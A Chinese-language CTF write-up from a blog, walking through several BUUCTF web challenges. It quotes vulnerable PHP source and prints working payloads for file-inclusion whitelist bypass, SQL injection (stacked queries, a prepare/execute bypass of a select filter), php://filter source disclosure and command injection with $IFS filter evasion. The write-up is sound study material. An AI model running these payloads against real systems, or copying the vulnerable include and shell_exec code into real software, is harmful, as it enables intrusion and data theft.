buuctf1

Warm——up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(//mb_substr() 函数返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')//mb_strpos()查找 string 在一个 string 中首次出现的位置。
);
//假设我们的page是123.php,最后通过mb_substr截取的内容即为123.php
if (in_array($_page, $whitelist)) {//这边进行弱类型比较
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

打开hint.php,看到flag在ffffllllaaaagggg,如何打开呢?
将代码放到phpstorm审计一下:

代码中有一个include文件包含函数,我们需要让判断进入到这个语句当中,

img

本来以这题是in_array绕过,但是发现,in_array的弱类型比较中,只有当haystack为数字时,needle才会自动被转化为数字,实现绕过。但是这里比较的对象为字符,弱类型比较在这里就行不通。
img
往下看 使用了一个mb_substr的函数(由于配置使用mb函数,所以这里改为substr效果一样),我们会发现下面in_array比较的对象变成是?前面的内容,然后这里返回的是true不是$_page的值,也就是说我们可以在?号后面拼接一个文件名
回到题目拼接试试:

img 这题出乎意料的挺简单的。。。后面的urldecode完全没用到。。。 下一题吧

EASYSQL

admin’or 1=1#即可

随便注

1img
有注入点,看了一下源码,说sqlmap没有灵魂– 说明可以用sqlmap扫出来,那就等一下
img
这里过滤了select 意味着基本上所有注入语句都用不了,尝试使用堆叠注入,(好久没用了),因为堆叠注入可以不使用select 直接 用 use show之类的指令
查了一下,
payload:

1
1';use supersqli;show tables;
1
';use supersqli;show columns from `1919810931114514`;

这里一开始直接查询查询不出来,看了wp,发现需要加了反引号以后才可以查询,在mysql中尝试了一下,发现这个1919810931114514是一个关键字,所以需要加``
参考:https://www.cnblogs.com/yangzailu/p/6694000.html
接下来继续往下:

img 发现flag,如何查询列名呢?: 这里找到一种方法: img
1
1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;

这个方法很巧妙啊,首先使用concat拼接语句,这样绕过select的检查,然后 set一个(这里就叫变量吧,比较好理解)储存其中 接下来使用prepare预处理 最后使用execute执行
参考https://www.cnblogs.com/geaozhang/p/9891338.html
参考:https://dev.mysql.com/doc/refman/8.0/en/execute.html

1
flag{47b4a012-1ccf-42b7-865d-529d431e6676}

Havefun

1
2
3
4
5
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

额直接?cat=dog就出来了。。。
FLAG_TABLE

EasySQL

依旧是堆叠注入:

1
1;show databases;
1
1;use ctf;show columns;

有一个ctf接下来不管用什么语句都过不去了,于是看了一下wp,发现是有源码的,但是我扫了以后发现是没有内容的?于是看到源码中:

1
$sql = "select ".$post['query']."||flag from Flag";

这里使用mysql进行测试一下:
这里的||是表示或 所以我们其实可以这么看这个语句:
我们查询FLag表内的内容可以是:

1
select * from FLag

所以我们可以用个,进行分割表示select两段内容:
img

img 可以发现 这里的||和&&成了运算符连接了我们不需要的内容,构成一个整体代入查询展示: **解法二(官方解法)** 有一个设置,可以将||管道符变成连接符而不是运算符Oracle 在缺省情况下支持使用 `" || "`连接字符串 , **但是在MySQL中缺省不支持** ,MySQL 缺省使用 CONCAT 系列函数来连接字符串 .

可以通过修改 sql_mode 模式 : PIPES_AS_CONCAT 来实现将 " || "视为 字符串连接符 而非 运算符 .

因此这里预期的 Payload 是通过修改 sql_mode 来拿到 Flag ,如下

Payload : 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

拼接后就变成了 SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag
img

include1

文件包含+封装协议,之前写过了:

1
php://filter/read=convert.base64-encode/resource=flag.php

Secret File

1img

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

依旧使用php://filter封装协议。。。。

1
php://filter/read=convert.base64-encode/resource=flag.php
1
1;cat$IFS\index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}

使用base64进制绕过试试bash被禁了 试了很多种绕过但是都不行,猜测是要拼接法,但是不知道拼接语句,看了一下wp,发现自己忘记一种拼接方式了:
1
1;a=lag.php;cat$IFS\f$a
1
flag{020f69e9-f457-41a0-af71-e45666a2853a}
## exec 穿梭一下目录 发现 flag在../../../中 cat一下就行 这几题都还挺简单的。。。。决定往后看看明天再写吧
Author

vague huang

Posted on

2021-03-15

Updated on

2021-03-18

Licensed under

Comments